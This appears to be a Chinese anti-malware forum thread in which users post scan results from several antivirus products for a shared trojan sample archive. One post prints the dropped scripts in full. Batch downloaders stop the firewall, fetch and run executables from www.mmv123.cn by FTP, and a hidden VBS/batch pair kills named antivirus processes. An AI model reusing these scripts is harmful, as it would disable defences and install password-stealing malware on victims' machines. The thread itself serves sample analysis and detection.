深度木马样本

darreol

a-squared Anti-Malware - 版本 4.0
上次更新: 2009-2-28 12:03:19

扫描设置:

对象: C:\Downloads\virus2.rar
扫描文件: 开
启发式扫描: 关
ADS 扫描: 开

扫描开始于:        2009-2-28 12:56:50

C:\Downloads\virus2.rar/1.exe         已检测: Virus.Win32.Agent!IK
C:\Downloads\virus2.rar/13.exe         已检测: Generic.PWS.Games!IK
C:\Downloads\virus2.rar/14.exe         已检测: Generic.PWS.Games!IK
C:\Downloads\virus2.rar/15.exe         已检测: Generic.PWS.Games!IK
C:\Downloads\virus2.rar/16.exe         已检测: Generic.PWS.Games!IK
C:\Downloads\virus2.rar/17.exe         已检测: Generic.PWS.Games!IK
C:\Downloads\virus2.rar/18.exe         已检测: Generic.PWS.Games!IK
C:\Downloads\virus2.rar/19.exe         已检测: Generic.PWS.Games!IK
C:\Downloads\virus2.rar/20.exe         已检测: Generic.PWS!IK
C:\Downloads\virus2.rar/21.exe         已检测: Trojan-PWS.Win32.QQPass!IK

已扫描

文件:         15
跟踪记录:         0
Cookies:         0
进程:         0

已发现

文件:         10
跟踪记录:         0
Cookies:         0
进程:         0
注册表键:         0

扫描结束于:        2009-2-28 12:56:50
扫描用时:        0:00:00

eubyo

0891.exe是个自解包，内有5个文件
8.vbe
msn036.bat内容为：
cls
ping -n 8 127.1>nul
sc stop sharedaccess
@echo open www.mmv123.cn 21>cc1.dat
@echo zzp8288>>cc1.dat
@echo zzp12345>>cc1.dat
@echo cd wwwroot>>cc1.dat
@echo binary>>cc1.dat
@echo get msn036.exe>>cc1.dat
@echo bye>>cc1.dat
ftp -s:cc1.dat
sc start sharedaccess
del cc1.dat
msn036.exe
exit
setup_1027345.bat内容为：
cls
ping -n 8 127.1>nul
sc stop sharedaccess
@echo open www.mmv123.cn 21>cc1.dat
@echo zzp8288>>cc1.dat
@echo zzp12345>>cc1.dat
@echo cd wwwroot>>cc1.dat
@echo binary>>cc1.dat
@echo get setup_1027345.exe>>cc1.dat
@echo bye>>cc1.dat
ftp -s:cc1.dat
sc start sharedaccess
del cc1.dat
setup_1027345.exe
exit
YOYO1205.bat内容为：
cls
ping -n 8 127.1>nul
sc stop sharedaccess
@echo open www.mmv123.cn 21>cc1.dat
@echo zzp8288>>cc1.dat
@echo zzp12345>>cc1.dat
@echo cd wwwroot>>cc1.dat
@echo binary>>cc1.dat
@echo get YOYO1205.EXE>>cc1.dat
@echo bye>>cc1.dat
ftp -s:cc1.dat
sc start sharedaccess
del cc1.dat
YOYO1205.EXE
exit
1.exe会放出3个文件：
knlps.exe
1.vbs内容为：
    Dim WshShell
    On Error Resume Next
   '隐藏运行rav.bat
    Set WshShell = WScript.CreateObject("WScript.Shell")
    Return = WshShell.Run ("rav.bat",0,true)
    Set WshShell = Nothing
    wscript.quit
rav.bat内容为：
@ECHO OFF
@knlps.exe -l >pid.txt
@FINDSTR /i "kwatch.exe" PID.txt >>RAV.txt
@FINDSTR /i "kavstart.exe" PID.txt >>RAV.txt
@FINDSTR /i "kav32.exe" PID.txt >>RAV.txt
@FINDSTR /i "egui.exe" PID.txt >>RAV.txt
@FINDSTR /i "ekrn.exe" PID.txt >>RAV.txt
@FINDSTR /i "360Tray.exe" PID.txt >>RAV.txt
@FINDSTR /i "guid.exe" PID.txt >>RAV.txt
@FINDSTR /i "avg.exe" PID.txt >>RAV.txt
@FINDSTR /i "AST.exe" PID.txt >>RAV.txt
@FINDSTR /i "Mcshield.exe" PID.txt >>RAV.txt
@FOR /F "eol=; tokens=1 delims= " %%1 in (RAV.txt) do knlps.exe -k %%1

尤金卡巴斯基

2009/2/28 14:46:40        已清除        风险软件 not-a-virus:RiskTool.Win32.PsKill.bm        G:\Temp\Virus\virus2.rar/0891.exe/1.exe//#               
2009/2/28 14:46:40        已清除        木马程序 Trojan-PSW.Win32.QQPass.gdf        G:\Temp\Virus\virus2.rar/21.exe               
2009/2/28 14:46:40        已清除        木马程序 Trojan-GameThief.Win32.WOW.flo        G:\Temp\Virus\virus2.rar/20.exe               
2009/2/28 14:46:40        已清除        木马程序 Trojan-Downloader.BAT.Agent.an        G:\Temp\Virus\virus2.rar/0891.exe/YOYO1205.bat               
2009/2/28 14:46:40        已清除        木马程序 Trojan-Downloader.BAT.Agent.al        G:\Temp\Virus\virus2.rar/0891.exe/setup_1027345.bat               
2009/2/28 14:46:40        已清除        木马程序 Trojan-Downloader.BAT.Agent.ak        G:\Temp\Virus\virus2.rar/0891.exe/msn036.bat               
2009/2/28 14:46:40        已清除        病毒 Worm.Win32.Downloader.aaz        G:\Temp\Virus\virus2.rar/18.exe//PE_Patch.UPX//UPX               
2009/2/28 14:46:40        已清除        病毒 Worm.Win32.Downloader.aaz        G:\Temp\Virus\virus2.rar/13.exe//PE_Patch.UPX//UPX               
2009/2/28 14:46:40        已清除        病毒 Worm.Win32.Downloader.aay        G:\Temp\Virus\virus2.rar/19.exe//PE_Patch.UPX//UPX               
2009/2/28 14:46:40        已清除        病毒 Worm.Win32.Downloader.aay        G:\Temp\Virus\virus2.rar/16.exe//PE_Patch.UPX//UPX               
2009/2/28 14:46:40        已清除        病毒 Worm.Win32.Downloader.aay        G:\Temp\Virus\virus2.rar/15.exe//PE_Patch.UPX//UPX               
2009/2/28 14:46:40        已清除        病毒 Worm.Win32.Downloader.aay        G:\Temp\Virus\virus2.rar/14.exe//PE_Patch.UPX//UPX               
2009/2/28 14:46:40        已清除        病毒 Worm.Win32.Downloader.aao        G:\Temp\Virus\virus2.rar/17.exe//PE_Patch.UPX//UPX

Palkia

miss to rs

黑衣~魂

DR.WEB
13.exe - infected with Trojan.PWS.Gamania.17197
14.exe - infected with Trojan.PWS.Gamania.17197
15.exe - infected with Trojan.PWS.Gamania.17197
16.exe - infected with Trojan.PWS.Gamania.17197
17.exe - infected with Trojan.PWS.Gamania.17197
18.exe - infected with Trojan.PWS.Gamania.17197
19.exe - infected with Trojan.PWS.Gamania.17197
20.exe\data001 - infected with Trojan.PWS.Wsgame.10425
0891.exe/1.exe\knlps.exe---0891.exe/1.exe;Trojan.Starter.153

wrq

Access to the data has been denied!
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:  http://bbs.kafan.cn/attachment.p ... cd&t=1235816232
Information:  Contains a recognition pattern of the (harmful) BDS/Hupigon.111358 back-door program  


--------------------------------------------------------------------------------
Generated by AntiVir WebGuard 8.0.15.0, AVE 8.2.0.98, VDF 7.1.2.95